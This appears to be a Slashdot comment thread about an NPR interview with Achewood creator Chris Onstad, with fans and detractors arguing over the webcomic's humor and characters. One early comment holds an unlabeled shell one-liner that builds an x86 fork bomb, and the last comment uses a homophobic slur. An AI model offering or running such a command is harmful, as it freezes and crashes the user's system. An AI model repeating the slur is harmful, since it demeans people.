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Achewood Creator on NPR
On my drive in to the office today, I heard an interview with a comic creator. Since I started the car mid-interview, it took me just a few moments to figure out who it was: Chris Onstad from Achewood (NSFW some days. Possibly including today, depending on your W). He's plugging his book The Great Outdoor Fight. Since his comic is one of the favorites here, I thought you all might enjoy hearing the interview. Today's comic is especially amusing given that it will likely be read by a great number of those NPR types unfamiliar with the strip.
Do not RTFA, contains furries.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Shame it's not funny or entertaining.
I suppose I could write it off to being old and jaded, but I swear I've seen about a dozen strips on the internet with the same general theme and lack of humor.
Just not for me, thanks.
The only way to understand and really dig on Achewood is to read it from the beginning. Character development is a lot more important than gags here, and not every strip has a punch line, but it's generally rewarding in the end. Achewood is one of the few web comics I can stand. It's up there at the top with Space Moose for me.
Cretin - a powerful and flexible CD reencoder
Here's the thing about Achewood: it has a very large cast of characters with very distinct voices. COMPLETELY distinct. These characters have been developed in ways that comic strips running for decades have not managed.
It's not uncommon for me to read a whole archive of webcomics in a single sitting. I read all of "MacHall" on Saturday. By the time I went through all four years of strips, there were only two characters I could identify as having distinct personalities. Everyone else spoke with the same voice.
That's how most comics are. Someone says something stupid or controversial. Drinking or violence ensues.
Achewood is the opposite; the characters are so fully realized that they BLOG in their distinct voices. The interview touches on this with the two main characters, but it extends to literally all the characters in the strip.
Achewood's humor is wry and absurdist. It's not the humor of a newspaper comic strip and it's not the humor of a typical webcomic. It's off in a space of its own. It's a bit like watching the best bits of Seinfeld after a 24 hour marathon of Golden Girls. Some people say that Achewood isn't funny, but all I can say to them is that there's a 1982 Subaru Brat waiting for them when they get to hell.
-- I wanna decide who lives and who dies - Crow T. Robot, MST3K
this is great! i dont know if achewood belogns on slashdot, but now i know what i am going to spend the next hours reading..
i never understood why i liked this movie before, but now i know.
(NSFW Somedays. Possibly including today depending on your W).
Yeah, NSFW today mmmmkay.
I've been following the strip off an on for quite a few years now. I guess it's amusing enough that I generally remain interested. I agree that the characters are generally well-defined but I wouldn't necessarily say they have much depth. It isn't like there's much character development going on. But then, it is just a comic strip.
In general I find the humor a bit dry, but every so often there's a genuinely funny strip. One thing I sometimes find it difficult to get past is the odd dialog. I'm not quite sure what Onstad is going for. I'm not sure if it's supposed to be slang or an attempt at play on words. But for me it comes off as awkward at times.
Still, I have to give credit where it's due. I think Achewood is a step above the majority of other strips. There are too many poor comics out there with lame writing and crappy illustration. Chris Onstad has been at this for years and his writing is interesting enough that it more than makes up for the art. Actually, even the art has it's own character.
If you're like me, and want to show why this comic is so fantastic, post your fav arcs / one-offs here:
Great Arcs:
http://achewood.com/index.php?date=05182006
http://achewood.com/index.php?date=04052006
http://achewood.com/index.php?date=03212007
One-offs:
http://achewood.com/index.php?date=07192006
http://achewood.com/index.php?date=02112008
http://achewood.com/index.php?date=02072008
http://achewood.com/index.php?date=07032006
http://achewood.com/index.php?date=08252006
http://achewood.com/index.php?date=09192006
I thought "Achewood" was slang for "priapism"...
[duck/cover]
I might know what I'm talkin' about, but then again, this is Slashdot...
I don't have anything against the guy, and I surmise that his comic is probably fairly representative of the genre, I'll probably check it out now. But as usual, this is another one off report from NPR trying to show they can be hip. What about Phil and Kaja Foglio and Girl Genius for example? And Penny Arcade, which you can hate all you want, but they are their own community and an example of a blockbuster in this medium. This piece sounded like they called up a few people to hash out a rough idea "Ooh.. webcomics!" and the Achewood guy is the only one who returned their e-mail.
What would Richard Feynman do, if he were here right now? He'd do some math and he'd follow through!
Ever notice how horribly they skew their election coverage in McCain's favor? I used to like NPR until I noticed this.
It is just like Homestar Runner. It is exactly like that. That is what Achewood is like.
Cretin - a powerful and flexible CD reencoder
hehe I guess one of their five fans had some mod points.
- It's not the Macs I hate. It's Digg users. -
I thought it was interesting that the interviewer made a comparison to Bill Watterson and Gary Larson and then asked if he was going to quit anytime soon like they did. Doesn't he need to gain widespread recognition first? Kind of like comparing Michelle Wie to Annika Sorenstam (no, maybe more like Jack Nicklaus) and then asking if she's going to retire soon.
...the future crusty old bastards are already drinking the Kool-Aid.
Achewood is bad because its fanbase is so god-damnedly pretentious.
So because you don't get it in the ~25 seconds it takes to read 2-3 strips, it doesn't succeed as a comic? All you're costing yourself by judging it cursorily is a rad and enjoyable experience. The payoff is in the evolution of the characters and the way the back-stories play into what unfolding, like Arrested Development or the British Office. If what you want is three panel soundbites, buy a newspaper. And know that you are enjoying Garfield at the expense of art, you ignorant ass.
I *DID* read it from the start to what was at the time, the end.
I honestly did.
I honestly dont want to read another page after that. I want those 2 days of off and on reading back.
It sucks, it tries too damn hard, and it's full of furfaggotry, the only good part was the great outdoor fight, as all the idiots of the world should do that IRL.